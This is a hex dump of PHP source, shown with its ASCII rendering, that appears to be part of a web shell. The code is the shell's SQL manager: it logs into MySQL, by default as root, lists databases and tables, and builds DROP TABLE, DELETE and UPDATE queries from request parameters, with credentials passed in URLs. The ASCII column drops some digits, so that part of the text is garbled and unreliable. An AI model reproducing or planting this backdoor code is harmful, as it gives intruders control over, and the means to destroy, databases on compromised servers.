27168: 726F7228293B0D0A20202020406D7973716C5F73656C6563745F646228247371          ror(); @mysql_select_db($sq
27200: 6C5F64622C2473716C5F736F636B293B0D0A20202020696620282473716C5F71          l_db,$sql_sock); if ($sql_q
27232: 7565727920616E6420247375626D697429207B2473716C5F71756572795F7265          uery and $submit) {$sql_query_re
27264: 73756C74203D206D7973716C5F7175657279282473716C5F71756572792C2473          sult = mysql_query($sql_query,$s
27296: 716C5F736F636B293B202473716C5F71756572795F6572726F72203D206D7973          ql_sock); $sql_query_error = mys
27328: 716C5F736D6172746572726F7228293B7D0D0A20207D0D0A2020656C7365207B          ql_smarterror();} } else {
27360: 2473716C5F736F636B203D2046414C53453B7D0D0A20206563686F20222E3A20          $sql_sock = FALSE;} echo ".:
27392: 53514C204D616E61676572203A2E3C62723E223B0D0A20206966202821247371          SQL Manager :.<br>"; if (!$sq
27424: 6C5F736F636B29207B0D0A2020202069662028212473716C5F73657276657229          l_sock) { if (!$sql_server)
27456: 207B6563686F20224E4F20434F4E4E454354494F4E223B7D0D0A20202020656C          {echo "NO CONNECTION";} el
27488: 7365207B6563686F202243616E277420636F6E6E6563742120222E246572723B          se {echo "Can't connect! ".$err;
27520: 7D0D0A20207D0D0A2020656C7365207B0D0A202020202473716C717569636B6C          } } else { $sqlquickl
27552: 61756E6368203D20617272617928293B0D0A202020202473716C717569636B6C          aunch = array(); $sqlquickl
27584: 61756E63685B5D203D2061727261792822496E646578222C247375726C2E2261          aunch[] = array("Index",$surl."a
27616: 63743D73716C2673716C5F6C6F67696E3D222E68746D6C7370656369616C6368          ct=sql&sql_login=".htmlspecialch
27648: 617273282473716C5F6C6F67696E292E222673716C5F7061737377643D222E68          ars($sql_login)."&sql_passwd=".h
27680: 746D6C7370656369616C6368617273282473716C5F706173737764292E222673          tmlspecialchars($sql_passwd)."&s
27712: 716C5F7365727665723D222E68746D6C7370656369616C636861727328247371          ql_server=".htmlspecialchars($sq
27744: 6C5F736572766572292E222673716C5F706F72743D222E68746D6C7370656369          l_server)."&sql_port=".htmlspeci
27776: 616C6368617273282473716C5F706F7274292E222622293B0D0A202020202473          alchars($sql_port)."&"); $s
27808: 716C717569636B6C61756E63685B5D203D20617272617928225175657279222C          qlquicklaunch[] = array("Query",
27840: 2473716C5F7375726C2E2273716C5F6163743D71756572792673716C5F74626C          $sql_surl."sql_act=query&sql_tbl
27872: 3D222E75726C656E636F6465282473716C5F74626C29293B0D0A202020202473          =".urlencode($sql_tbl)); $s
27904: 716C717569636B6C61756E63685B5D203D20617272617928225365727665722D          qlquicklaunch[] = array("Server-
27936: 737461747573222C247375726C2E226163743D73716C2673716C5F6C6F67696E          status",$surl."act=sql&sql_login
27968: 3D222E68746D6C7370656369616C6368617273282473716C5F6C6F67696E292E          =".htmlspecialchars($sql_login).
28000: 222673716C5F7061737377643D222E68746D6C7370656369616C636861727328          "&sql_passwd=".htmlspecialchars(
28032: 2473716C5F706173737764292E222673716C5F7365727665723D222E68746D6C          $sql_passwd)."&sql_server=".html
28064: 7370656369616C6368617273282473716C5F736572766572292E222673716C5F          specialchars($sql_server)."&sql_
28096: 706F72743D222E68746D6C7370656369616C6368617273282473716C5F706F72          port=".htmlspecialchars($sql_por
28128: 74292E222673716C5F6163743D73657276657273746174757322293B0D0A2020          t)."&sql_act=serverstatus");
28160: 20202473716C717569636B6C61756E63685B5D203D2061727261792822536572          $sqlquicklaunch[] = array("Ser
28192: 766572207661726961626C6573222C247375726C2E226163743D73716C267371          ver variables",$surl."act=sql&sq
28224: 6C5F6C6F67696E3D222E68746D6C7370656369616C6368617273282473716C5F          l_login=".htmlspecialchars($sql_
28256: 6C6F67696E292E222673716C5F7061737377643D222E68746D6C737065636961          login)."&sql_passwd=".htmlspecia
28288: 6C6368617273282473716C5F706173737764292E222673716C5F736572766572          lchars($sql_passwd)."&sql_server
28320: 3D222E68746D6C7370656369616C6368617273282473716C5F73657276657229          =".htmlspecialchars($sql_server)
28352: 2E222673716C5F706F72743D222E68746D6C7370656369616C63686172732824          ."&sql_port=".htmlspecialchars($
28384: 73716C5F706F7274292E222673716C5F6163743D736572766572766172732229          sql_port)."&sql_act=servervars")
28416: 3B0D0A202020202473716C717569636B6C61756E63685B5D203D206172726179          ; $sqlquicklaunch[] = array
28448: 282250726F636573736573222C247375726C2E226163743D73716C2673716C5F          ("Processes",$surl."act=sql&sql_
28480: 6C6F67696E3D222E68746D6C7370656369616C6368617273282473716C5F6C6F          login=".htmlspecialchars($sql_lo
28512: 67696E292E222673716C5F7061737377643D222E68746D6C7370656369616C63          gin)."&sql_passwd=".htmlspecialc
28544: 68617273282473716C5F706173737764292E222673716C5F7365727665723D22          hars($sql_passwd)."&sql_server="
28576: 2E68746D6C7370656369616C6368617273282473716C5F736572766572292E22          .htmlspecialchars($sql_server)."
28608: 2673716C5F706F72743D222E68746D6C7370656369616C636861727328247371          &sql_port=".htmlspecialchars($sq
28640: 6C5F706F7274292E222673716C5F6163743D70726F63657373657322293B0D0A          l_port)."&sql_act=processes");
28672: 202020202473716C717569636B6C61756E63685B5D203D20617272617928224C          $sqlquicklaunch[] = array("L
28704: 6F676F7574222C247375726C2E226163743D73716C22293B0D0A202020206563          ogout",$surl."act=sql"); ec
28736: 686F20224D7953514C20222E6D7973716C5F6765745F7365727665725F696E66          ho "MySQL ".mysql_get_server_inf
28768: 6F28292E22202870726F746F20762E222E6D7973716C5F6765745F70726F746F          o()." (proto v.".mysql_get_proto
28800: 5F696E666F2028292E22292072756E6E696E6720696E20222E68746D6C737065          _info ().") running in ".htmlspe
28832: 6369616C6368617273282473716C5F736572766572292E223A222E68746D6C73          cialchars($sql_server).":".htmls
28864: 70656369616C6368617273282473716C5F706F7274292E2220617320222E6874          pecialchars($sql_port)." as ".ht
28896: 6D6C7370656369616C6368617273282473716C5F6C6F67696E292E2240222E68          mlspecialchars($sql_login)."@".h
28928: 746D6C7370656369616C6368617273282473716C5F736572766572292E222028          tmlspecialchars($sql_server)." (
28960: 70617373776F7264202D205C22222E68746D6C7370656369616C636861727328          password - \"".htmlspecialchars(
28992: 2473716C5F706173737764292E225C22293C62723E223B0D0A20202020696620          $sql_passwd)."\")<br>"; if
29024: 28636F756E74282473716C717569636B6C61756E636829203E203029207B666F          (count($sqlquicklaunch) >  ) {fo
29056: 7265616368282473716C717569636B6C61756E636820617320246974656D2920          reach($sqlquicklaunch as $item)
29088: 7B6563686F20225B203C6120687265663D5C22222E246974656D5B315D2E225C          {echo "[ <a href=\"".$item[1]."\
29120: 223E222E246974656D5B305D2E223C2F613E205D20223B7D7D0D0A20207D0D0A          ">".$item[ ]."</a> ] ";}} }
29152: 20206563686F20223C2F74643E3C2F74723E3C74723E223B0D0A202069662028          echo "</td></tr><tr>"; if (
29184: 212473716C5F736F636B29207B0D0A202020206563686F20223C746420776964          !$sql_sock) { echo "<td wid
29216: 74683D5C223238255C22206865696768743D5C223130305C222076616C69676E          th=\"28%\" height=\"1  \" valign
29248: 3D5C22746F705C223E3C6C693E4966206C6F67696E206973206E756C6C2C206C          =\"top\"><li>If login is null, l
29280: 6F67696E206973206F776E6572206F662070726F636573732E3C6C693E496620          ogin is owner of process.<li>If
29312: 686F7374206973206E756C6C2C20686F7374206973206C6F63616C686F73743C          host is null, host is localhost<
29344: 2F623E3C6C693E496620706F7274206973206E756C6C2C20706F727420697320          /b><li>If port is null, port is
29376: 33333036202864656661756C74293C2F74643E3C74642077696474683D5C2239          33 6 (default)</td><td width=\"9
29408: 30255C22206865696768743D312076616C69676E3D5C22746F705C223E223B0D           %\" height=1 valign=\"top\">";
29440: 0A202020206563686F20223C7461626C652077696474683D5C22313030255C22          echo "<table width=\"1  %\"
29472: 20626F726465723D303E3C74723E3C74643E3C623E506C656173652C2066696C          border= ><tr><td><b>Please, fil
29504: 6C2074686520666F726D3A3C2F623E3C7461626C653E3C74723E3C74643E3C62          l the form:</b><table><tr><td><b
29536: 3E557365726E616D653C2F623E3C2F74643E3C74643E3C623E50617373776F72          >Username</b></td><td><b>Passwor
29568: 643C2F623E3C2F74643E3C74643E3C623E44617461626173653C2F623E3C2F74          d</b></td><td><b>Database</b></t
29600: 643E3C2F74723E3C666F726D20616374696F6E3D5C2220247375726C205C2220          d></tr><form action=\" $surl \"
29632: 6D6574686F643D5C22504F53545C223E3C696E70757420747970653D5C226869          method=\"POST\"><input type=\"hi
29664: 6464656E5C22206E616D653D5C226163745C222076616C75653D5C2273716C5C          dden\" name=\"act\" value=\"sql\
29696: 223E3C74723E3C74643E3C696E70757420747970653D5C22746578745C22206E          "><tr><td><input type=\"text\" n
29728: 616D653D5C2273716C5F6C6F67696E5C222076616C75653D5C22726F6F745C22          ame=\"sql_login\" value=\"root\"
29760: 206D61786C656E6774683D5C2236345C223E3C2F74643E3C74643E3C696E7075          maxlength=\"64\"></td><td><inpu
29792: 7420747970653D5C2270617373776F72645C22206E616D653D5C2273716C5F70          t type=\"password\" name=\"sql_p
29824: 61737377645C222076616C75653D5C225C22206D61786C656E6774683D5C2236          asswd\" value=\"\" maxlength=\"6
29856: 345C223E3C2F74643E3C74643E3C696E70757420747970653D5C22746578745C          4\"></td><td><input type=\"text\
29888: 22206E616D653D5C2273716C5F64625C222076616C75653D5C225C22206D6178          " name=\"sql_db\" value=\"\" max
29920: 6C656E6774683D5C2236345C223E3C2F74643E3C2F74723E3C74723E3C74643E          length=\"64\"></td></tr><tr><td>
29952: 3C623E486F73743C2F623E3C2F74643E3C74643E3C623E504F52543C2F623E3C          <b>Host</b></td><td><b>PORT</b><
29984: 2F74643E3C2F74723E3C74723E3C746420616C69676E3D72696768743E3C696E          /td></tr><tr><td align=right><in
30016: 70757420747970653D5C22746578745C22206E616D653D5C2273716C5F736572          put type=\"text\" name=\"sql_ser
30048: 7665725C222076616C75653D5C226C6F63616C686F73745C22206D61786C656E          ver\" value=\"localhost\" maxlen
30080: 6774683D5C2236345C223E3C2F74643E3C74643E3C696E70757420747970653D          gth=\"64\"></td><td><input type=
30112: 5C22746578745C22206E616D653D5C2273716C5F706F72745C222076616C7565          \"text\" name=\"sql_port\" value
30144: 3D5C22333330365C22206D61786C656E6774683D5C22365C222073697A653D5C          =\"33 6\" maxlength=\"6\" size=\
30176: 22335C223E3C2F74643E3C74643E3C696E70757420747970653D5C227375626D          "3\"></td><td><input type=\"subm
30208: 69745C222076616C75653D5C22436F6E6E6563745C223E3C2F74643E3C2F7472          it\" value=\"Connect\"></td></tr
30240: 3E3C74723E3C74643E3C2F74643E3C2F74723E3C2F666F726D3E3C2F7461626C          ><tr><td></td></tr></form></tabl
30272: 653E3C2F74643E223B0D0A20207D0D0A2020656C7365207B0D0A202020202F2F          e></td>"; } else { //
30304: 5374617274206C6566742070616E656C0D0A202020206966202821656D707479          Start left panel if (!empty
30336: 282473716C5F64622929207B0D0A2020202020203F3E3C74642077696474683D          ($sql_db)) { ?><td width=
30368: 2232352522206865696768743D2231303025222076616C69676E3D22746F7022          "25%" height="1  %" valign="top"
30400: 3E3C6120687265663D223C3F706870206563686F20247375726C2E226163743D          ><a href="<?php echo $surl."act=
30432: 73716C2673716C5F6C6F67696E3D222E68746D6C7370656369616C6368617273          sql&sql_login=".htmlspecialchars
30464: 282473716C5F6C6F67696E292E222673716C5F7061737377643D222E68746D6C          ($sql_login)."&sql_passwd=".html
30496: 7370656369616C6368617273282473716C5F706173737764292E222673716C5F          specialchars($sql_passwd)."&sql_
30528: 7365727665723D222E68746D6C7370656369616C6368617273282473716C5F73          server=".htmlspecialchars($sql_s
30560: 6572766572292E222673716C5F706F72743D222E68746D6C7370656369616C63          erver)."&sql_port=".htmlspecialc
30592: 68617273282473716C5F706F7274292E2226223B203F3E223E3C623E486F6D65          hars($sql_port)."&"; ?>"><b>Home
30624: 3C2F623E3C2F613E3C68722073697A653D223122206E6F73686164653E0D0A20          </b></a><hr size="1" noshade>
30656: 20202020203C3F7068700D0A20202020202024726573756C74203D206D797371          <?php $result = mysq
30688: 6C5F6C6973745F7461626C6573282473716C5F6462293B0D0A20202020202069          l_list_tables($sql_db); i
30720: 6620282124726573756C7429207B6563686F206D7973716C5F736D6172746572          f (!$result) {echo mysql_smarter
30752: 726F7228293B7D0D0A202020202020656C7365207B0D0A202020202020202065          ror();} else { e
30784: 63686F20222D2D2D5B203C6120687265663D5C22222E2473716C5F7375726C2E          cho "---[ <a href=\"".$sql_surl.
30816: 22265C223E3C623E222E68746D6C7370656369616C6368617273282473716C5F          "&\"><b>".htmlspecialchars($sql_
30848: 6462292E223C2F623E3C2F613E205D2D2D2D3C62723E223B0D0A202020202020          db)."</b></a> ]---<br>";
30880: 20202463203D20303B0D0A20202020202020207768696C65202824726F77203D          $c =  ; while ($row =
30912: 206D7973716C5F66657463685F61727261792824726573756C742929207B2463          mysql_fetch_array($result)) {$c
30944: 6F756E74203D206D7973716C5F717565727920282253454C45435420434F554E          ount = mysql_query ("SELECT COUN
30976: 54282A292046524F4D20222E24726F775B305D293B2024636F756E745F726F77          T(*) FROM ".$row[ ]); $count_row
31008: 203D206D7973716C5F66657463685F61727261792824636F756E74293B206563          = mysql_fetch_array($count); ec
31040: 686F20223C623E2B266E6273703B3C6120687265663D5C22222E2473716C5F73          ho "<b>+&nbsp;<a href=\"".$sql_s
31072: 75726C2E2273716C5F64623D222E68746D6C7370656369616C63686172732824          url."sql_db=".htmlspecialchars($
31104: 73716C5F6462292E222673716C5F74626C3D222E68746D6C7370656369616C63          sql_db)."&sql_tbl=".htmlspecialc
31136: 686172732824726F775B305D292E225C223E3C623E222E68746D6C7370656369          hars($row[ ])."\"><b>".htmlspeci
31168: 616C63686172732824726F775B305D292E223C2F623E3C2F613E2028222E2463          alchars($row[ ])."</b></a> (".$c
31200: 6F756E745F726F775B305D2E22293C2F62723E3C2F623E223B206D7973716C5F          ount_row[ ].")</br></b>"; mysql_
31232: 667265655F726573756C742824636F756E74293B2024632B2B3B7D0D0A202020          free_result($count); $c++;}
31264: 20202020206966202821246329207B6563686F20224E6F207461626C65732066          if (!$c) {echo "No tables f
31296: 6F756E6420696E2064617461626173652E223B7D0D0A2020202020207D0D0A20          ound in database.";} }
31328: 2020207D0D0A20202020656C7365207B0D0A2020202020203F3E3C7464207769          } else { ?><td wi
31360: 6474683D223122206865696768743D22313030222076616C69676E3D22746F70          dth="1" height="1  " valign="top
31392: 223E3C6120687265663D223C3F706870206563686F202473716C5F7375726C3B          "><a href="<?php echo $sql_surl;
31424: 203F3E223E3C623E486F6D653C2F623E3C2F613E3C68722073697A653D223122          ?>"><b>Home</b></a><hr size="1"
31456: 206E6F73686164653E0D0A2020202020203C3F7068700D0A2020202020202472          noshade> <?php $r
31488: 6573756C74203D206D7973716C5F6C6973745F646273282473716C5F736F636B          esult = mysql_list_dbs($sql_sock
31520: 293B0D0A202020202020696620282124726573756C7429207B6563686F206D79          ); if (!$result) {echo my
31552: 73716C5F736D6172746572726F7228293B7D0D0A202020202020656C7365207B          sql_smarterror();} else {
31584: 0D0A20202020202020203F3E3C666F726D20616374696F6E3D223C3F70687020          ?><form action="<?php
31616: 6563686F20247375726C3B203F3E223E3C696E70757420747970653D22686964          echo $surl; ?>"><input type="hid
31648: 64656E22206E616D653D22616374222076616C75653D2273716C223E3C696E70          den" name="act" value="sql"><inp
31680: 757420747970653D2268696464656E22206E616D653D2273716C5F6C6F67696E          ut type="hidden" name="sql_login
31712: 222076616C75653D223C3F706870206563686F2068746D6C7370656369616C63          " value="<?php echo htmlspecialc
31744: 68617273282473716C5F6C6F67696E293B203F3E223E3C696E70757420747970          hars($sql_login); ?>"><input typ
31776: 653D2268696464656E22206E616D653D2273716C5F706173737764222076616C          e="hidden" name="sql_passwd" val
31808: 75653D223C3F706870206563686F2068746D6C7370656369616C636861727328          ue="<?php echo htmlspecialchars(
31840: 2473716C5F706173737764293B203F3E223E3C696E70757420747970653D2268          $sql_passwd); ?>"><input type="h
31872: 696464656E22206E616D653D2273716C5F736572766572222076616C75653D22          idden" name="sql_server" value="
31904: 3C3F706870206563686F2068746D6C7370656369616C6368617273282473716C          <?php echo htmlspecialchars($sql
31936: 5F736572766572293B203F3E223E3C696E70757420747970653D226869646465          _server); ?>"><input type="hidde
31968: 6E22206E616D653D2273716C5F706F7274222076616C75653D223C3F70687020          n" name="sql_port" value="<?php
32000: 6563686F2068746D6C7370656369616C6368617273282473716C5F706F727429          echo htmlspecialchars($sql_port)
32032: 3B203F3E223E3C73656C656374206E616D653D2273716C5F6462223E0D0A2020          ; ?>"><select name="sql_db">
32064: 2020202020203C3F7068700D0A20202020202020202463203D20303B0D0A2020          <?php $c =  ;
32096: 20202020202024646273203D2022223B0D0A20202020202020207768696C6520          $dbs = ""; while
32128: 2824726F77203D206D7973716C5F66657463685F726F772824726573756C7429          ($row = mysql_fetch_row($result)
32160: 29207B24646273202E3D20223C6F7074696F6E2076616C75653D5C22222E2472          ) {$dbs .= "<option value=\"".$r
32192: 6F775B305D2E225C22223B20696620282473716C5F6462203D3D2024726F775B          ow[ ]."\""; if ($sql_db == $row[
32224: 305D29207B24646273202E3D20222073656C6563746564223B7D202464627320           ]) {$dbs .= " selected";} $dbs
32256: 2E3D20223E222E24726F775B305D2E223C2F6F7074696F6E3E223B2024632B2B          .= ">".$row[ ]."</option>"; $c++
32288: 3B7D0D0A20202020202020206563686F20223C6F7074696F6E2076616C75653D          ;} echo "<option value=
32320: 5C225C223E4461746162617365732028222E24632E22293C2F6F7074696F6E3E          \"\">Databases (".$c.")</option>
32352: 223B0D0A20202020202020206563686F20246462733B0D0A2020202020207D0D          "; echo $dbs; }
32384: 0A2020202020203F3E3C2F73656C6563743E3C68722073697A653D223122206E          ?></select><hr size="1" n
32416: 6F73686164653E506C656173652C2073656C6563742064617461626173653C68          oshade>Please, select database<h
32448: 722073697A653D223122206E6F73686164653E3C696E70757420747970653D22          r size="1" noshade><input type="
32480: 7375626D6974222076616C75653D22476F223E3C2F666F726D3E0D0A20202020          submit" value="Go"></form>
32512: 20203C3F7068700D0A202020207D0D0A202020202F2F456E64206C6566742070          <?php } //End left p
32544: 616E656C0D0A202020206563686F20223C2F74643E3C74642077696474683D5C          anel echo "</td><td width=\
32576: 22313030255C223E223B0D0A202020202F2F53746172742063656E7465722070          "1  %\">"; //Start center p
32608: 616E656C0D0A20202020246469706C6179203D20545255453B0D0A2020202069          anel $diplay = TRUE; i
32640: 6620282473716C5F646229207B0D0A202020202020696620282169735F6E756D          f ($sql_db) { if (!is_num
32672: 657269632824632929207B2463203D20303B7D0D0A2020202020206966202824          eric($c)) {$c =  ;} if ($
32704: 63203D3D203029207B2463203D20226E6F223B7D0D0A2020202020206563686F          c ==  ) {$c = "no";} echo
32736: 20223C68722073697A653D5C22315C22206E6F73686164653E3C63656E746572          "<hr size=\"1\" noshade><center
32768: 3E3C623E54686572652061726520222E24632E22207461626C6528732920696E          ><b>There are ".$c." table(s) in
32800: 20746869732044422028222E68746D6C7370656369616C636861727328247371          this DB (".htmlspecialchars($sq
32832: 6C5F6462292E22292E3C62723E223B0D0A20202020202069662028636F756E74          l_db).").<br>"; if (count
32864: 28246462717569636B6C61756E636829203E203029207B666F72656163682824          ($dbquicklaunch) >  ) {foreach($
32896: 646273716C717569636B6C61756E636820617320246974656D29207B6563686F          dbsqlquicklaunch as $item) {echo
32928: 20225B203C6120687265663D5C22222E246974656D5B315D2E225C223E222E24          "[ <a href=\"".$item[1]."\">".$
32960: 6974656D5B305D2E223C2F613E205D20223B7D7D0D0A2020202020206563686F          item[ ]."</a> ] ";}} echo
32992: 20223C2F623E3C2F63656E7465723E223B0D0A2020202020202461637473203D          "</b></center>"; $acts =
33024: 2061727261792822222C2264756D7022293B0D0A202020202020696620282473          array("","dump"); if ($s
33056: 716C5F616374203D3D202274626C64726F702229207B2473716C5F7175657279          ql_act == "tbldrop") {$sql_query
33088: 203D202244524F50205441424C45223B20666F72656163682824626F7874626C          = "DROP TABLE"; foreach($boxtbl
33120: 20617320247629207B2473716C5F7175657279202E3D20225C6E60222E24762E          as $v) {$sql_query .= "\n`".$v.
33152: 2260202C223B7D202473716C5F7175657279203D20737562737472282473716C          "` ,";} $sql_query = substr($sql
33184: 5F71756572792C302C2D31292E223B223B202473716C5F616374203D20227175          _query, ,-1).";"; $sql_act = "qu
33216: 657279223B7D0D0A202020202020656C7365696620282473716C5F616374203D          ery";} elseif ($sql_act =
33248: 3D202274626C656D7074792229207B2473716C5F7175657279203D2022223B20          = "tblempty") {$sql_query = "";
33280: 666F72656163682824626F7874626C20617320247629207B2473716C5F717565          foreach($boxtbl as $v) {$sql_que
33312: 7279202E3D202244454C4554452046524F4D2060222E24762E2260205C6E223B          ry .= "DELETE FROM `".$v."` \n";
33344: 7D202473716C5F616374203D20227175657279223B7D0D0A202020202020656C          } $sql_act = "query";} el
33376: 7365696620282473716C5F616374203D3D202274626C64756D702229207B6966          seif ($sql_act == "tbldump") {if
33408: 2028636F756E742824626F7874626C29203E203029207B24646D7074626C7320          (count($boxtbl) >  ) {$dmptbls
33440: 3D2024626F7874626C3B7D20656C7365696628247468697374626C29207B2464          = $boxtbl;} elseif($thistbl) {$d
33472: 6D7074626C73203D206172726179282473716C5F74626C293B7D202473716C5F          mptbls = array($sql_tbl);} $sql_
33504: 616374203D202264756D70223B7D0D0A202020202020656C7365696620282473          act = "dump";} elseif ($s
33536: 716C5F616374203D3D202274626C636865636B2229207B2473716C5F71756572          ql_act == "tblcheck") {$sql_quer
33568: 79203D2022434845434B205441424C45223B20666F72656163682824626F7874          y = "CHECK TABLE"; foreach($boxt
33600: 626C20617320247629207B2473716C5F7175657279202E3D20225C6E60222E24          bl as $v) {$sql_query .= "\n`".$
33632: 762E2260202C223B7D202473716C5F7175657279203D20737562737472282473          v."` ,";} $sql_query = substr($s
33664: 716C5F71756572792C302C2D31292E223B223B202473716C5F616374203D2022          ql_query, ,-1).";"; $sql_act = "
33696: 7175657279223B7D0D0A202020202020656C7365696620282473716C5F616374          query";} elseif ($sql_act
33728: 203D3D202274626C6F7074696D697A652229207B2473716C5F7175657279203D          == "tbloptimize") {$sql_query =
33760: 20224F5054494D495A45205441424C45223B20666F72656163682824626F7874          "OPTIMIZE TABLE"; foreach($boxt
33792: 626C20617320247629207B2473716C5F7175657279202E3D20225C6E60222E24          bl as $v) {$sql_query .= "\n`".$
33824: 762E2260202C223B7D202473716C5F7175657279203D20737562737472282473          v."` ,";} $sql_query = substr($s
33856: 716C5F71756572792C302C2D31292E223B223B202473716C5F616374203D2022          ql_query, ,-1).";"; $sql_act = "
33888: 7175657279223B7D0D0A202020202020656C7365696620282473716C5F616374          query";} elseif ($sql_act
33920: 203D3D202274626C7265706169722229207B2473716C5F7175657279203D2022          == "tblrepair") {$sql_query = "
33952: 524550414952205441424C45223B20666F72656163682824626F7874626C2061          REPAIR TABLE"; foreach($boxtbl a
33984: 7320247629207B2473716C5F7175657279202E3D20225C6E60222E24762E2260          s $v) {$sql_query .= "\n`".$v."`
34016: 202C223B7D202473716C5F7175657279203D20737562737472282473716C5F71          ,";} $sql_query = substr($sql_q
34048: 756572792C302C2D31292E223B223B202473716C5F616374203D202271756572          uery, ,-1).";"; $sql_act = "quer
34080: 79223B7D0D0A202020202020656C7365696620282473716C5F616374203D3D20          y";} elseif ($sql_act ==
34112: 2274626C616E616C797A652229207B2473716C5F7175657279203D2022414E41          "tblanalyze") {$sql_query = "ANA
34144: 4C595A45205441424C45223B20666F72656163682824626F7874626C20617320          LYZE TABLE"; foreach($boxtbl as
34176: 247629207B2473716C5F7175657279202E3D20225C6E60222E24762E2260202C          $v) {$sql_query .= "\n`".$v."` ,
34208: 223B7D202473716C5F7175657279203D20737562737472282473716C5F717565          ";} $sql_query = substr($sql_que
34240: 72792C302C2D31292E223B223B202473716C5F616374203D2022717565727922          ry, ,-1).";"; $sql_act = "query"
34272: 3B7D0D0A202020202020656C7365696620282473716C5F616374203D3D202264          ;} elseif ($sql_act == "d
34304: 656C657465726F772229207B2473716C5F7175657279203D2022223B20696620          eleterow") {$sql_query = ""; if
34336: 2821656D7074792824626F78726F775F616C6C2929207B2473716C5F71756572          (!empty($boxrow_all)) {$sql_quer
34368: 79203D202244454C455445202A2046524F4D2060222E2473716C5F74626C2E22          y = "DELETE * FROM `".$sql_tbl."
34400: 603B223B7D20656C7365207B666F72656163682824626F78726F772061732024          `;";} else {foreach($boxrow as $
34432: 7629207B2473716C5F7175657279202E3D202244454C455445202A2046524F4D          v) {$sql_query .= "DELETE * FROM
34464: 2060222E2473716C5F74626C2E2260205748455245222E24762E22204C494D49          `".$sql_tbl."` WHERE".$v." LIMI
34496: 5420313B5C6E223B7D202473716C5F7175657279203D20737562737472282473          T 1;\n";} $sql_query = substr($s
34528: 716C5F71756572792C302C2D31293B7D202473716C5F616374203D2022717565          ql_query, ,-1);} $sql_act = "que
34560: 7279223B7D0D0A202020202020656C7365696620282473716C5F74626C5F6163          ry";} elseif ($sql_tbl_ac
34592: 74203D3D2022696E736572742229207B0D0A2020202020202020696620282473          t == "insert") { if ($s
34624: 716C5F74626C5F696E736572745F726164696F203D3D203129207B0D0A202020          ql_tbl_insert_radio == 1) {
34656: 20202020202020246B657973203D2022223B0D0A202020202020202020202461          $keys = ""; $a
34688: 6B657973203D2061727261795F6B657973282473716C5F74626C5F696E736572          keys = array_keys($sql_tbl_inser
34720: 74293B0D0A20202020202020202020666F7265616368202824616B6579732061          t); foreach ($akeys a
34752: 7320247629207B246B657973202E3D202260222E616464736C61736865732824          s $v) {$keys .= "`".addslashes($
34784: 76292E22602C20223B7D0D0A202020202020202020206966202821656D707479          v)."`, ";} if (!empty
34816: 28246B6579732929207B246B657973203D2073756273747228246B6579732C30          ($keys)) {$keys = substr($keys, 
34848: 2C7374726C656E28246B657973292D32293B7D0D0A2020202020202020202024          ,strlen($keys)-2);} $
34880: 76616C756573203D2022223B0D0A202020202020202020202469203D20303B0D          values = ""; $i =  ;
34912: 0A20202020202020202020666F7265616368202861727261795F76616C756573          foreach (array_values
34944: 282473716C5F74626C5F696E736572742920617320247629207B696620282466          ($sql_tbl_insert) as $v) {if ($f
34976: 756E6374203D202473716C5F74626C5F696E736572745F66756E6374735B2461          unct = $sql_tbl_insert_functs[$a
35008: 6B6579735B24695D5D29207B2476616C756573202E3D202466756E63742E2220          keys[$i]]) {$values .= $funct."
35040: 28223B7D202476616C756573202E3D202227222E616464736C61736865732824          (";} $values .= "'".addslashes($
35072: 76292E2227223B20696620282466756E637429207B2476616C756573202E3D20          v)."'"; if ($funct) {$values .=
35104: 2229223B7D202476616C756573202E3D20222C20223B2024692B2B3B7D0D0A20          ")";} $values .= ", "; $i++;}
35136: 2020202020202020206966202821656D707479282476616C7565732929207B24          if (!empty($values)) {$
35168: 76616C756573203D20737562737472282476616C7565732C302C7374726C656E          values = substr($values, ,strlen
35200: 282476616C756573292D32293B7D0D0A202020202020202020202473716C5F71          ($values)-2);} $sql_q
35232: 75657279203D2022494E5345525420494E544F2060222E2473716C5F74626C2E          uery = "INSERT INTO `".$sql_tbl.
35264: 2260202820222E246B6579732E2220292056414C554553202820222E2476616C          "` ( ".$keys." ) VALUES ( ".$val
35296: 7565732E2220293B223B0D0A202020202020202020202473716C5F616374203D          ues." );"; $sql_act =
35328: 20227175657279223B0D0A202020202020202020202473716C5F74626C5F6163          "query"; $sql_tbl_ac
35360: 74203D202262726F777365223B0D0A20202020202020207D0D0A202020202020          t = "browse"; }
35392: 2020656C7365696620282473716C5F74626C5F696E736572745F726164696F20          elseif ($sql_tbl_insert_radio
35424: 3D3D203229207B0D0A2020202020202020202024736574203D206D7973716C5F          == 2) { $set = mysql_
35456: 6275696C647768657265282473716C5F74626C5F696E736572742C222C20222C          buildwhere($sql_tbl_insert,", ",
35488: 2473716C5F74626C5F696E736572745F66756E637473293B0D0A202020202020          $sql_tbl_insert_functs);
35520: 202020202473716C5F7175657279203D20225550444154452060222E2473716C          $sql_query = "UPDATE `".$sql
35552: 5F74626C2E22602053455420222E247365742E2220574845524520222E247371          _tbl."` SET ".$set." WHERE ".$sq
35584: 6C5F74626C5F696E736572745F712E22204C494D495420313B223B0D0A202020          l_tbl_insert_q." LIMIT 1;";
35616: 2020202020202024726573756C74203D206D7973716C5F717565727928247371          $result = mysql_query($sq
35648: 6C5F717565727929206F72207072696E74286D7973716C5F736D617274657272          l_query) or print(mysql_smarterr
35680: 6F722829293B0D0A2020202020202020202024726573756C74203D206D797371          or()); $result = mysq
35712: 6C5F66657463685F61727261792824726573756C742C204D5953514C5F415353          l_fetch_array($result, MYSQL_ASS
35744: 4F43293B0D0A202020202020202020202473716C5F616374203D202271756572          OC); $sql_act = "quer
35776: 79223B0D0A202020202020202020202473716C5F74626C5F616374203D202262          y"; $sql_tbl_act = "b
35808: 726F777365223B0D0A20202020202020207D0D0A2020202020207D0D0A202020          rowse"; } }
35840: 202020696620282473716C5F616374203D3D202271756572792229207B0D0A20          if ($sql_act == "query") {
35872: 202020202020206563686F20223C68722073697A653D5C22315C22206E6F7368          echo "<hr size=\"1\" nosh
35904: 6164653E223B0D0A20202020202020206966202828247375626D69742920616E          ade>"; if (($submit) an
35936: 642028212473716C5F71756572795F726573756C742920616E6420282473716C          d (!$sql_query_result) and ($sql
35968: 5F636F6E6669726D2929207B69662028212473716C5F71756572795F6572726F          _confirm)) {if (!$sql_query_erro
36000: 7229207B2473716C5F71756572795F6572726F72203D20225175657279207761          r) {$sql_query_error = "Query wa
36032: 7320656D707479223B7D206563686F20223C623E4572726F723A3C2F623E203C          s empty";} echo "<b>Error:</b> <
36064: 62723E222E2473716C5F71756572795F6572726F722E223C62723E223B7D0D0A          br>".$sql_query_error."<br>";}
